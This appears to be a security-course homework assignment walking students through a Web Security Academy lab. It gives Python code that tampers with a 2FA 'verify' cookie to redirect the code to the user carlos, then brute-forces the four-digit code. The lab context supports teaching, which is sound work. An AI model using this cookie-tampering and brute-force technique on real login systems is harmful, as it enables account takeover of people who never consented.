In this level, the login process is protected by a 2-factor authentication flow. Once a user submits a correct set of credentials to the /login
path, they are redirected via HTTP to the /login2
path that handles the second factor. As part of the redirection, an HTTP cookie named 'verify
' is set that is used to identify the authenticated user to the /login2
path. Visiting the /login2
path with this cookie will cause a 2FA code to be emailed to the user specified in the cookie. The /login2
page implements a form that the user then fills with the 2FA code. Successful submission of the code logs the user in.
There are several main flaws with the process:
/login2
via a redirection after a legitimate login. Unfortunately, this assumption fails as one can visit the /login2
path directly.verify
cookie and that only a user who has submitted a correct set of credentials can request a 2FA code.To attack the process, you will:
wiener:peter
), but instead of following the redirect to /login2
with the given cookie, you will modify the cookie to bind it to the user carlos
instead. This will send the 2FA code to carlos
. carlos
's 2FA code using multiprocessing
or asyncio
to efficiently perform the brute-force attack. Note that while there are 10000 4-digit codes possible, the level restricts codes to be between 0000 and 2000.You will be writing your attack in Python using the requests
and BeautifulSoup
packages.
cd
into it.cd <path_to_your_git_repository>
mkdir hw1
cd hw1
requirements.txt
with the following inside. The file contains the Python packages we want to install.requests
bs4
virtualenv -p python3 env
source env/bin/activate
pip install -r requirements.txt
Create an initial Python script using the code below called hw1.py
that programmatically logs in as wiener:peter
, requests a 2FA code, checks wiener
's e-mail for the code, and then submits the code to successfully log-in.
The program begins by visiting the login page and obtaining the "Exploit Link" which is used to access the email of a particular user to get the 2FA code. Note that we won't need this link in our attack as we'll be brute-forcing the code.
import sys
import requests
import re
from bs4 import BeautifulSoup
site = sys.argv[1]
if 'https://' in site:
site = site.rstrip('/').replace('https://','')
s = requests.Session()
login_url = f'https://{site}/login'
resp = s.get(login_url)
soup = BeautifulSoup(resp.text,'html.parser')
email_url = soup.find('a', {'id':'exploit-link'}).get('href')
Then, we create a dictionary containing the user credentials we're given and submit it to the login form. We set the keyword argument allow_redirects
in our POST request to false
so we can examine the redirect response. In this case, the response code (resp.status_code
) is printed out along with the verify
cookie that is set in the session as part of the response.
logindata = {
'username' : 'wiener',
'password' : 'peter'
}
print(f'Logging in as wiener:peter with allow_redirects=False')
resp = s.post(login_url, data=logindata, allow_redirects=False)
print(f'Response status_code: {resp.status_code}')
print(f'Response headers show that username part of cookie sent to a redirect /login2 {resp.headers}')
print(f"Session cookies are now: {s.cookies['verify']}")
Next, we visit the URL given in the redirection (/login2
) to get the 2FA code emailed to us.
print(f'Visit /login2 now as wiener:peter to get 2FA code sent via email, then retrieve it :')
login2_url = f'https://{site}/login2'
resp = s.get(login2_url)
soup = BeautifulSoup(resp.text,'html.parser')
We next visit our "email" and pull out the 4-digit 2FA code that has been sent.
print(f'Getting 2FA from email url {email_url} :')
resp = s.get(email_url)
soup = BeautifulSoup(resp.text,'html.parser')
email = soup.find('pre').text
code = re.split('[ \.]',email)[4]
print(f'Code is {code}')
We then construct a dictionary to submit the code to /login2
in order to complete our authentication. The code checks for success by again examining the HTTP status code to ensure it is a redirection that sends us to the landing page. Finally, we visit our account profile page (/my-account?id=wiener
) to validate our successful authentication.
print(f'Now use it to post mfa-code to /login2 :')
login2data = {
'mfa-code' : code
}
resp = s.post(login2_url, data=login2data, allow_redirects=False)
if resp.status_code == 302:
print(f'2fa valid with response code {resp.status_code}')
print(f'Redirect to landing page with headers {resp.headers}')
print(f'Grab My Account page for wiener:')
account_url = f'https://{site}/my-account?id=wiener'
resp = s.get(account_url)
print(resp.text)
Run the program on your site to show that you can login with the given account credentials.
python hw1.py https://.../ ... <h1>My Account</h1> <div id=account-content> <p>Your username is: wiener</p> <p>Your email is: wiener@a...web-security-academy.net</p> ...
Then, add, commit and push this initial script and its requirements.txt
into your repository.
git add .
git commit -m "Initial script"
git push
Ensure that your local Python environment in env
has not been added to the repository. It will be ignored as long as you've properly included it in the .gitignore
file as instructed when you set up your course git
repository.
The website has a vulnerability in that the /login2
path assumes that the user specified in the 'verify
' cookie has already authenticated with their password. Unfortunately, the client browser can modify this cookie. We will be modifying the Python program to tamper with the cookie that is returned from the site in order to impersonate the carlos
account. Doing so will send a 2FA code to carlos
that we can then brute-force in order to login as carlos
. An example of deleting the cookie from your session and creating a new cookie (specifying the cookie's domain, name, and value) is shown below.
# Delete the verify cookie for wiener
del s.cookies['verify']
# Create a new one specifying carlos
cookie_obj = requests.cookies.create_cookie(domain=site, name='verify', value='carlos')
# Add cookie to the session
s.cookies.set_cookie(cookie_obj)
Modify hw1.py
to implement a program that issues a 2FA code to the account carlos
and then performs a brute-force attack on it to successfully authenticate as the account. Have your program print out the 2FA code that is successful. For testing purposes only, have the program visit the account's profile page in order to verify you have solved the level. Once verified, for grading purposes, comment out this request out so that it does not automatically solve the grader's level.
Note that when brute-forcing the 2FA code, you must supply 4-digits. For smaller numbers, this requires the code to be zero-padded. You can perform this via the zfill()
method as done in the code below.
for i in range(10):
print(str(i).zfill(4))
python hw1.py site_url
in a Linux environment and ensure the program only prints out the 2FA code but does not solve the level automatically.def run_test(login, password, url, num_tests):
"""Records timing data for an individual attack
Args:
login (str): login to test
password (str): password to test
url (str): URL to test
num_tests (int): number of tests to run
Returns:
float: Average time taken across tests
"""
multiprocessing
or asyncio
.git
repository contains Python program and its requirements.txt
file and does not include a full Python environment